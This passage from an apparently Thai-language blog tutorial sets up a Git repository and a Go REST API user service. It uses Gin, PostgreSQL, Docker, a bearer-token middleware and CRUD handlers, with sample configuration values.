Client</li></ol><p>&#xE43;&#xE2B;&#xE49;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder <strong><strong><strong><strong>user</strong></strong>service</strong></strong> &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Folder &#xE19;&#xE35;&#xE49;&#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git init</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.05.46.png" class="kg-image" alt loading="lazy" width="1682" height="262" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.05.46.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.05.46.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.05.46.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.05.46.png 1682w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; <a href="https://github.com/?ref=blog.pjjop.org">Github.com</a> &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Git Repo &#xE0A;&#xE37;&#xE48;&#xE2D; <strong><strong><strong><strong>user</strong></strong>service</strong></strong> &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE0A;&#xE19;&#xE34;&#xE14; Repo &#xE41;&#xE1A;&#xE1A; Private &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Create repository</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.07.14.png" class="kg-image" alt loading="lazy" width="2000" height="2225" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.07.14.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.07.14.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.07.14.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.07.14.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; SSH &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Copy URL</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.08.21.png" class="kg-image" alt loading="lazy" width="2000" height="2225" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.08.21.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.08.21.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.08.21.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.08.21.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Git Repo &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; git remote add origin &#xE15;&#xE32;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22; URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49; Copy &#xE21;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19;</li></ul><pre><code>git remote add origin git@github.com:promritn/userservice.git</code></pre><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File <code>README.md</code> &#xE43;&#xE19; Folder userservice</li></ul><pre><code>touch README.md</code></pre><ul><li>&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D; REST API Project &#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE31;&#xE27;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; 1 &#xE43;&#xE19; File <code>README.md</code> &#xE14;&#xE49;&#xE27;&#xE22; Tag &#xE02;&#xE2D;&#xE07; Markdown &#xE41;&#xE25;&#xE49;&#xE27; Save</li></ul><pre><code># REST API Project</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.12.10.png" class="kg-image" alt loading="lazy" width="2000" height="1228" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.12.10.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.12.10.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.12.10.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.12.10.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>Commit &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git add .

git commit -m &apos;first commit&apos;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.13.28.png" class="kg-image" alt loading="lazy" width="1516" height="242" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.13.28.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.13.28.png 1000w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.13.28.png 1516w" sizes="(min-width: 720px) 720px"></figure><ul><li>Push Code &#xE17;&#xE35;&#xE48; Commit &#xE02;&#xE36;&#xE49;&#xE19; Github Server</li></ul><pre><code>git push origin main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.14.18.png" class="kg-image" alt loading="lazy" width="1814" height="238" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.14.18.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.14.18.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.14.18.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.14.18.png 1814w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Short-Lived Branch &#xE0A;&#xE37;&#xE48;&#xE2D; feature/restapi-dev</p><pre><code>git checkout -b feature/restapi-dev</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.17.19.png" class="kg-image" alt loading="lazy" width="1818" height="158" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.17.19.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.17.19.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.17.19.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.17.19.png 1818w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &#xE41;&#xE25;&#xE30; Folder &#xE02;&#xE2D;&#xE07; Project &#xE15;&#xE32;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>.
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x251C;&#x2500;&#x2500; Dockerfile
&#x251C;&#x2500;&#x2500; README.md
&#x251C;&#x2500;&#x2500; cmd
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; docker-compose.yml
&#x2514;&#x2500;&#x2500; internal
    &#x251C;&#x2500;&#x2500; config
    &#x2502;   &#x2514;&#x2500;&#x2500; config.go
    &#x251C;&#x2500;&#x2500; handler
    &#x2502;   &#x2514;&#x2500;&#x2500; user_handler.go
    &#x251C;&#x2500;&#x2500; middleware
    &#x2502;   &#x2514;&#x2500;&#x2500; auth_middleware.go
    &#x251C;&#x2500;&#x2500; models
    &#x2502;   &#x2514;&#x2500;&#x2500; user.go
    &#x251C;&#x2500;&#x2500; repository
    &#x2502;   &#x2514;&#x2500;&#x2500; user_repository.go
    &#x2514;&#x2500;&#x2500; service
        &#x2514;&#x2500;&#x2500; user_service.go</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>docker-compose.yml</code></li></ul><figure class="kg-card kg-code-card"><pre><code>services:
  api:
    build: .
    ports:
      - &quot;${API_PORT}:80&quot;
    env_file:
      - .env
    healthcheck:
      test: [&quot;CMD&quot;, &quot;curl&quot;, &quot;-f&quot;, &quot;http://localhost:80/health&quot;]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 5s
    restart: unless-stopped  # &#xE08;&#xE30; Restart Container &#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE16;&#xE49;&#xE32; Health Check &#xE44;&#xE21;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;</code></pre><figcaption>docker-compose.yml</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>.env</code> &#xE42;&#xE14;&#xE22;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; IP Address &#xE02;&#xE2D;&#xE07; DB_HOST &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;</li></ul><figure class="kg-card kg-code-card"><pre><code># .env
# &#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; IP Address &#xE02;&#xE2D;&#xE07; DB_HOST &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;
DB_HOST=172.20.10.2
DB_PORT=5432
DB_USER=postgres
DB_PASSWORD=postgres123
DB_NAME=postgres
API_TOKEN=fjwfji3399
API_PORT=8080
</code></pre><figcaption>.env</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>.gitignore</code></li></ul><figure class="kg-card kg-code-card"><pre><code># .gitignore
.env</code></pre><figcaption>.gitignore</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>Dockerfile</code></li></ul><pre><code># Build Stage
FROM golang:1.23.3 AS builder

WORKDIR /app

# &#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01; File go.mod &#xE41;&#xE25;&#xE30; go.sum &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Cache Dependency &#xE44;&#xE14;&#xE49;
COPY go.mod go.sum ./
RUN go mod download

# &#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01; Code &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;
COPY . .

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File Binary &apos;main&apos; &#xE08;&#xE32;&#xE01; Source Code &#xE43;&#xE19; cmd/main.go 
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main ./cmd/main.go

# Run Stage
FROM alpine:latest  

RUN apk --no-cache add ca-certificates curl

WORKDIR /root/
# &#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01; Binary &#xE08;&#xE32;&#xE01; Builder Stage
COPY --from=builder /app/main .

# &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Entrypoint &#xE40;&#xE1B;&#xE47;&#xE19; Binary main
ENTRYPOINT [&quot;./main&quot;]</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; main.go</li></ul><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;
	&quot;net/http&quot;

	&quot;github.com/gin-gonic/gin&quot;
	_ &quot;github.com/lib/pq&quot;

	&quot;users/internal/config&quot;
	&quot;users/internal/handler&quot;
	&quot;users/internal/middleware&quot;
	&quot;users/internal/repository&quot;
	&quot;users/internal/service&quot;
)

func main() {
	cfg := config.LoadConfig()

	// &#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Database
	db, err := repository.ConnectDB(cfg)
	if err != nil {
		log.Fatalf(&quot;Failed to connect to DB: %v&quot;, err)
	}
	defer db.Close()

	userRepo := repository.NewUserRepository(db)
	userService := service.NewUserService(userRepo)
	userHandler := handler.NewUserHandler(userService)

	r := gin.Default()

	// Health Check &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; Token
	r.GET(&quot;/health&quot;, func(c *gin.Context) {
		if err := repository.CheckDBConnection(db); err != nil {
			c.JSON(http.StatusServiceUnavailable, gin.H{&quot;detail&quot;: &quot;Database connection failed&quot;})
			return
		}
		c.JSON(http.StatusOK, gin.H{&quot;status&quot;: &quot;healthy&quot;, &quot;database&quot;: &quot;connected&quot;})
	})

	// Protected routes &#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; Bearer Token
	authRequired := r.Group(&quot;/api/v1&quot;, middleware.BearerAuth(cfg.APIToken))
	{
		authRequired.GET(&quot;/users&quot;, userHandler.GetAllUsers)
		authRequired.GET(&quot;/users/:id&quot;, userHandler.GetUserByID)
		authRequired.POST(&quot;/users&quot;, userHandler.CreateUser)
		authRequired.PUT(&quot;/users/:id&quot;, userHandler.UpdateUser)
		authRequired.DELETE(&quot;/users/:id&quot;, userHandler.DeleteUser)
	}
	r.Run(&quot;:80&quot;)
}</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; config.go</li></ul><pre><code>package config

import (
	&quot;os&quot;
)

type Config struct {
	DBHost     string
	DBPort     string
	DBUser     string
	DBPassword string
	DBName     string
	APIToken   string
	APIPORT    string
}

func LoadConfig() Config {
	return Config{
		DBHost:     getEnv(&quot;DB_HOST&quot;, &quot;localhost&quot;),
		DBPort:     getEnv(&quot;DB_PORT&quot;, &quot;5432&quot;),
		DBUser:     getEnv(&quot;DB_USER&quot;, &quot;postgres&quot;),
		DBPassword: getEnv(&quot;DB_PASSWORD&quot;, &quot;postgres123&quot;),
		DBName:     getEnv(&quot;DB_NAME&quot;, &quot;postgres&quot;),
		APIToken:   getEnv(&quot;API_TOKEN&quot;, &quot;fjwfji3399&quot;),
		APIPORT:    getEnv(&quot;API_PORT&quot;, &quot;80&quot;),
	}
}

func getEnv(key, fallback string) string {
	v := os.Getenv(key)
	if v == &quot;&quot; {
		return fallback
	}
	return v
}
</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; user_handler.go</li></ul><pre><code>package handler

import (
	&quot;net/http&quot;
	&quot;strconv&quot;

	&quot;github.com/gin-gonic/gin&quot;

	&quot;users/internal/service&quot;
)

type UserHandler struct {
	userService service.UserService
}

// Inject UserService &#xE1C;&#xE48;&#xE32;&#xE19; Constructor
func NewUserHandler(us service.UserService) *UserHandler {
	return &amp;UserHandler{userService: us}
}

func (h *UserHandler) GetAllUsers(c *gin.Context) {
	users, err := h.userService.GetAllUsers()
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{&quot;error&quot;: &quot;Internal server error&quot;})
		return
	}
	c.JSON(http.StatusOK, users)
}

func (h *UserHandler) GetUserByID(c *gin.Context) {
	id, _ := strconv.Atoi(c.Param(&quot;id&quot;))
	user, err := h.userService.GetUserByID(id)
	if err != nil {
		c.JSON(http.StatusNotFound, gin.H{&quot;error&quot;: &quot;User not found&quot;})
		return
	}
	c.JSON(http.StatusOK, user)
}

func (h *UserHandler) CreateUser(c *gin.Context) {
	var req struct {
		Name  string `json:&quot;name&quot;`
		Email string `json:&quot;email&quot;`
	}
	if err := c.ShouldBindJSON(&amp;req); err != nil {
		c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: &quot;Invalid JSON&quot;})
		return
	}
	user, err := h.userService.CreateUser(req.Name, req.Email)
	if err != nil {
		if err.Error() == &quot;email already exists&quot; {
			c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: &quot;Email already exists&quot;})
		} else {
			c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: err.Error()})
		}
		return
	}
	c.JSON(http.StatusCreated, user)
}

func (h *UserHandler) UpdateUser(c *gin.Context) {
	id, _ := strconv.Atoi(c.Param(&quot;id&quot;))

	var req struct {
		Name  string `json:&quot;name&quot;`
		Email string `json:&quot;email&quot;`
	}
	if err := c.ShouldBindJSON(&amp;req); err != nil {
		c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: &quot;Invalid JSON&quot;})
		return
	}

	user, err := h.userService.UpdateUser(id, req.Name, req.Email)
	if err != nil {
		if err.Error() == &quot;not found&quot; {
			c.JSON(http.StatusNotFound, gin.H{&quot;error&quot;: &quot;User not found&quot;})
			return
		}
		if err.Error() == &quot;email already exists&quot; {
			c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: &quot;Email already exists&quot;})
			return
		}
		c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: err.Error()})
		return
	}
	c.JSON(http.StatusOK, user)
}

func (h *UserHandler) DeleteUser(c *gin.Context) {
	id, _ := strconv.Atoi(c.Param(&quot;id&quot;))
	err := h.userService.DeleteUser(id)
	if err != nil {
		if err.Error() == &quot;not found&quot; {
			c.JSON(http.StatusNotFound, gin.H{&quot;error&quot;: &quot;User not found&quot;})
			return
		}
		c.JSON(http.StatusInternalServerError, gin.H{&quot;error&quot;: &quot;Internal server error&quot;})
		return
	}
	c.JSON(http.StatusOK, gin.H{&quot;message&quot;: &quot;User deleted successfully&quot;})
}
</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; auth_middleware.go</li></ul><pre><code>package middleware

import (
	&quot;net/http&quot;
	&quot;strings&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

// BearerAuth &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Bearer Token &#xE43;&#xE19; Header
func BearerAuth(apiToken string) gin.HandlerFunc {
	return func(c *gin.Context) {
		authHeader := c.GetHeader(&quot;Authorization&quot;)
		if authHeader == &quot;&quot; || !strings.HasPrefix(authHeader, &quot;Bearer &quot;) {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Missing or invalid Authorization header&quot;})
			return
		}
		token := strings.TrimPrefix(authHeader, &quot;Bearer &quot;)
		if token != apiToken {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Invalid token&quot;})
			return
		}
		c.Next()
	}
}
</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; user.go</li></ul><pre><code>package models

import &quot;time&quot;

type User struct {
	ID        int       `db:&quot;id&quot; json:&quot;id&quot;`
	Name      string    `db:&quot;name&quot; json:&quot;name&quot;`
	Email     string    `db:&quot;email&quot; json:&quot;email&quot;`
	CreatedAt time.Time `db:&quot;created_at&quot; json:&quot;created_at&quot;`
	UpdatedAt time.Time `db:&quot;updated_at&quot; json:&quot;updated_at&quot;`
}
</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; user_service.go</li></ul><pre><code>package service

import (
	&quot;errors&quot;
	&quot;strings&quot;

	&quot;users/internal/models&quot;
	&quot;users/internal/repository&quot;
)

type UserService interface {
	GetAllUsers() ([]models.User, error)
	GetUserByID(id int) (*models.User, error)
	CreateUser(name, email string) (*models.User, error)
	UpdateUser(id int, name, email string) (*models.User, error)
	DeleteUser(id int) error
}

type userService struct {
	repo repository.UserRepository
}

// Inject Repository &#xE1C;&#xE48;&#xE32;&#xE19; Constructor &#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01; DIP
func NewUserService(repo repository.UserRepository) UserService {
	return &amp;userService{repo: repo}
}

func (s *userService) GetAllUsers() ([]models.User, error) {
	return s.repo.GetAll()
}

func (s *userService) GetUserByID(id int) (*models.User, error) {
	return s.repo.GetByID(id)
}

func (s *userService) CreateUser(name, email string) (*models.User, error) {
	if strings.TrimSpace(name) == &quot;&quot; || strings.TrimSpace(email) == &quot;&quot; {
		return nil, errors.New(&quot;name and email are required&quot;)
	}
	user, err := s.repo.Create(name, email)
	if err != nil &amp;&amp; strings.Contains(err.Error(), &quot;duplicate key&quot;) {
		return nil, errors.New(&quot;email already exists&quot;)
	}
	return user, err
}

func (s *userService) UpdateUser(id int, name, email string) (*models.User, error) {
	if strings.TrimSpace(name) == &quot;&quot; || strings.TrimSpace(email) == &quot;&quot; {
		return nil, errors.New(&quot;name and email are required&quot;)
	}
	user, err := s.repo.Update(id, name, email)
	if err != nil &amp;&amp; strings.Contains(err.Error(), &quot;duplicate key&quot;) {
		return nil, errors.New(&quot;email already exists&quot;)
	}
	return user, err
}

func (s *userService) DeleteUser(id int) error {
	return s.repo.Delete(id)
}
</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; user_repository.go</li></ul><pre><code>package repository

import (
	&quot;database/sql&quot;
	&quot;errors&quot;
	&quot;fmt&quot;
	&quot;time&quot;

	&quot;users/internal/config&quot;
	&quot;users/internal/models&quot;

	_ &quot;github.com/lib/pq&quot;
)

// UserRepository interface &#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01; DIP
type UserRepository interface {
	GetAll() ([]models.User, error)
	GetByID(id int) (*models.User, error)
	Create(name, email string) (*models.User, error)
	Update(id int, name, email string) (*models.User, error)
	Delete(id int) error
}

type userRepository struct {
	db *sql.DB
}

func NewUserRepository(db *sql.DB) UserRepository {
	return &amp;userRepository{db: db}
}

func ConnectDB(cfg config.Config) (*sql.DB, error) {
	// (DSN) Data Source Name &#xE04;&#xE37;&#xE2D; String &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
	// &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; DSN &#xE08;&#xE30;&#xE02;&#xE36;&#xE49;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A; Library &#xE2B;&#xE23;&#xE37;&#xE2D; Framework &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;
	dsn := fmt.Sprintf(&quot;host=%s port=%s user=%s password=%s dbname=%s sslmode=disable&quot;, cfg.DBHost, cfg.DBPort, cfg.DBUser, cfg.DBPassword, cfg.DBName)

	db, err := sql.Open(&quot;postgres&quot;, dsn)
	if err != nil {
		return nil, fmt.Errorf(&quot;failed to connect to database: %w&quot;, err)
	}
	// &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Connection Pool
	db.SetMaxOpenConns(25)                 // &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Connection &#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE14;&#xE49;
	db.SetMaxIdleConns(10)                 // &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Connection &#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Idle State
	db.SetConnMaxLifetime(5 * time.Minute) // &#xE2D;&#xE32;&#xE22;&#xE38;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07; Connection

	if err := db.Ping(); err != nil {
		return nil, fmt.Errorf(&quot;failed to ping database: %w&quot;, err)
	}

	return db, nil
}

func CheckDBConnection(db *sql.DB) error {
	return db.Ping()
}

func (r *userRepository) GetAll() ([]models.User, error) {
	rows, err := r.db.Query(&quot;SELECT id, name, email, created_at, updated_at FROM users ORDER BY id&quot;)
	if err != nil {
		return nil, err
	}
	defer rows.Close()

	var users []models.User
	for rows.Next() {
		var u models.User
		if err := rows.Scan(&amp;u.ID, &amp;u.Name, &amp;u.Email, &amp;u.CreatedAt, &amp;u.UpdatedAt); err != nil {
			return nil, err
		}
		users = append(users, u)
	}
	return users, rows.Err()
}

func (r *userRepository) GetByID(id int) (*models.User, error) {
	var u models.User
	err := r.db.QueryRow(&quot;SELECT id, name, email, created_at, updated_at FROM users WHERE id=$1&quot;, id).
		Scan(&amp;u.ID, &amp;u.Name, &amp;u.Email, &amp;u.CreatedAt, &amp;u.UpdatedAt)

	if err == sql.ErrNoRows {
		return nil, errors.New(&quot;not found&quot;)
	} else if err != nil {
		return nil, err
	}
	return &amp;u, nil
}

func (r *userRepository) Create(name, email string) (*models.User, error) {
	var u models.User
	err := r.db.QueryRow(
		&quot;INSERT INTO users (name, email) VALUES ($1, $2) RETURNING id, name, email, created_at, updated_at&quot;,
		name, email,
	).Scan(&amp;u.ID, &amp;u.Name, &amp;u.Email, &amp;u.CreatedAt, &amp;u.UpdatedAt)

	if err != nil {
		return nil, err
	}
	return &amp;u, nil
}

func (r *userRepository) Update(id int, name, email string) (*models.User, error) {
	var u models.User
	err := r.db.QueryRow(
		&quot;UPDATE users SET name=$1, email=$2, updated_at=now() WHERE id=$3 RETURNING id, name, email, created_at, updated_at&quot;,
		name, email, id,
	).Scan(&amp;u.ID, &amp;u.Name, &amp;u.Email, &amp;u.CreatedAt, &amp;u.UpdatedAt)

	if err == sql.ErrNoRows {
		return nil, errors.New(&quot;not found&quot;)
	} else if err != nil {
		return nil, err
	}
	return &amp;u, nil
}

func (r *userRepository) Delete(id int) error {
	res, err := r.db.Exec(&quot;DELETE FROM users WHERE id=$1&quot;, id)
	if err != nil {
		return err
	}
	rowsAffected, _ := res.RowsAffected()
	if rowsAffected == 0 {
		return errors.New(&quot;not found&quot;)
	}
	return nil
}</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File <code>go.mod</code> &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod init users</code></p><pre><code>go mod init users</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/lib/pq&quot;</p><pre><code>go get github.com/lib/pq</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/gin-gonic/gin&quot;</p><pre><code>go get github.com/gin-gonic/gin</code></pre><p>&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod tidy</code> &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; Dependency 